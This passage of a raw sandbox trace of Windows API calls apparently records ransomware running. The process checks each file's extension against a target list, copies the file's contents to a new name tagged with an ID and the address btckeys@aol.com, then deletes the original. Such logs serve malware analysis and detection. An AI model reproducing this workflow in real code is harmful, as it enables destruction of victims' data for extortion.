110 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.986] lstrlenW (lpString=".doc") returned 4 [0073.986] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString=".docx") returned 5 [0073.986] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.986] lstrlenW (lpString=".pdf") returned 4 [0073.986] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString=".xls") returned 4 [0073.986] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString=".xlsx") returned 5 [0073.986] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.986] lstrlenW (lpString=".ppt") returned 4 [0073.986] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.986] lstrlenW (lpString=".zip") returned 4 [0073.986] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.986] lstrlenW (lpString=".rar") returned 4 [0073.986] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString=".bz2") returned 4 [0073.986] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString=".7z") returned 3 [0073.986] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.986] lstrlenW (lpString=".dbf") returned 4 [0073.986] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.986] lstrlenW (lpString=".1cd") returned 4 [0073.986] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0073.987] lstrlenW (lpString=".jpg") returned 4 [0073.987] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.987] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0073.987] lstrlenW (lpString="SETUP.XML") returned 9 [0073.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.987] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=2362) returned 1 [0073.987] CloseHandle (hObject=0x204) returned 1 [0073.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0073.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.988] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0073.988] GetLastError () returned 0x0 [0073.988] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x93a, lpOverlapped=0x0) returned 1 [0073.990] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x940, lpOverlapped=0x0) returned 1 [0073.991] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0073.991] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.991] SetEndOfFile (hFile=0x1d4) returned 1 [0073.991] CloseHandle (hObject=0x1d4) returned 1 [0073.992] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.992] SetEndOfFile (hFile=0x204) returned 1 [0073.993] CloseHandle (hObject=0x204) returned 1 [0073.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0073.993] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0073.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.993] lstrlenW (lpString=".doc") returned 4 [0073.993] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.993] lstrlenW (lpString=".docx") returned 5 [0073.994] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.994] lstrlenW (lpString=".pdf") returned 4 [0073.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString=".xls") returned 4 [0073.994] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString=".xlsx") returned 5 [0073.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.994] lstrlenW (lpString=".ppt") returned 4 [0073.994] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString=".zip") returned 4 [0073.994] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.994] lstrlenW (lpString=".rar") returned 4 [0073.994] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString=".bz2") returned 4 [0073.994] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString=".7z") returned 3 [0073.994] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString=".dbf") returned 4 [0073.994] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString=".1cd") returned 4 [0073.994] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString=".jpg") returned 4 [0073.994] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.994] lstrlenW (lpString=".doc") returned 4 [0073.994] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.994] lstrlenW (lpString=".docx") returned 5 [0073.994] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.994] lstrlenW (lpString=".pdf") returned 4 [0073.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString=".xls") returned 4 [0073.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString=".xlsx") returned 5 [0073.995] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.995] lstrlenW (lpString=".ppt") returned 4 [0073.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.995] lstrlenW (lpString=".zip") returned 4 [0073.995] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.995] lstrlenW (lpString=".rar") returned 4 [0073.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString=".bz2") returned 4 [0073.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString=".7z") returned 3 [0073.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.995] lstrlenW (lpString=".dbf") returned 4 [0073.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.995] lstrlenW (lpString=".1cd") returned 4 [0073.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0073.995] lstrlenW (lpString=".jpg") returned 4 [0073.995] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.995] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0073.995] lstrlenW (lpString="Office32WW.XML") returned 14 [0073.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.996] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=4274) returned 1 [0073.996] CloseHandle (hObject=0x204) returned 1 [0073.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0073.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0073.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.996] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.996] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0073.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0073.997] GetLastError () returned 0x0 [0073.997] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x10b2, lpOverlapped=0x0) returned 1 [0074.333] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0074.334] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0074.334] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0074.334] SetEndOfFile (hFile=0x1d4) returned 1 [0074.335] CloseHandle (hObject=0x1d4) returned 1 [0074.340] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.340] SetEndOfFile (hFile=0x204) returned 1 [0074.340] CloseHandle (hObject=0x204) returned 1 [0074.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0074.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.344] lstrlenW (lpString=".doc") returned 4 [0074.344] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.344] lstrlenW (lpString=".docx") returned 5 [0074.344] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0074.344] lstrlenW (lpString=".pdf") returned 4 [0074.344] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.344] lstrlenW (lpString=".xls") returned 4 [0074.344] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString=".xlsx") returned 5 [0074.345] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0074.345] lstrlenW (lpString=".ppt") returned 4 [0074.345] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString=".zip") returned 4 [0074.345] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.345] lstrlenW (lpString=".rar") returned 4 [0074.345] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString=".bz2") returned 4 [0074.345] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString=".7z") returned 3 [0074.345] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString=".dbf") returned 4 [0074.345] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString=".1cd") returned 4 [0074.345] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString=".jpg") returned 4 [0074.345] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.345] lstrlenW (lpString=".doc") returned 4 [0074.345] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.345] lstrlenW (lpString=".docx") returned 5 [0074.345] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0074.346] lstrlenW (lpString=".pdf") returned 4 [0074.346] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString=".xls") returned 4 [0074.346] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString=".xlsx") returned 5 [0074.346] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0074.346] lstrlenW (lpString=".ppt") returned 4 [0074.346] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.346] lstrlenW (lpString=".zip") returned 4 [0074.346] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.346] lstrlenW (lpString=".rar") returned 4 [0074.346] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString=".bz2") returned 4 [0074.346] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString=".7z") returned 3 [0074.346] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.346] lstrlenW (lpString=".dbf") returned 4 [0074.346] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.346] lstrlenW (lpString=".1cd") returned 4 [0074.346] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0074.346] lstrlenW (lpString=".jpg") returned 4 [0074.346] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.347] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.347] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0074.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.347] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=3186) returned 1 [0074.347] CloseHandle (hObject=0x204) returned 1 [0074.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0074.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.348] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.348] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.419] GetLastError () returned 0x0 [0074.419] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xc72, lpOverlapped=0x0) returned 1 [0074.421] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xc80, lpOverlapped=0x0) returned 1 [0074.422] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0074.422] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0074.422] SetEndOfFile (hFile=0x1fc) returned 1 [0074.422] CloseHandle (hObject=0x1fc) returned 1 [0074.423] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0074.423] SetEndOfFile (hFile=0x204) returned 1 [0074.424] CloseHandle (hObject=0x204) returned 1 [0074.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0074.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.425] lstrlenW (lpString=".doc") returned 4 [0074.425] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.425] lstrlenW (lpString=".docx") returned 5 [0074.425] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.425] lstrlenW (lpString=".pdf") returned 4 [0074.425] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.425] lstrlenW (lpString=".xls") returned 4 [0074.425] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString=".xlsx") returned 5 [0074.426] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.426] lstrlenW (lpString=".ppt") returned 4 [0074.426] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0074.426] lstrlenW (lpString=".zip") returned 4 [0074.426] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.426] lstrlenW (lpString=".rar") returned 4 [0074.426] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.426] lstrlenW (lpString=".bz2") returned 4 [0074.426] lstrcmpiW 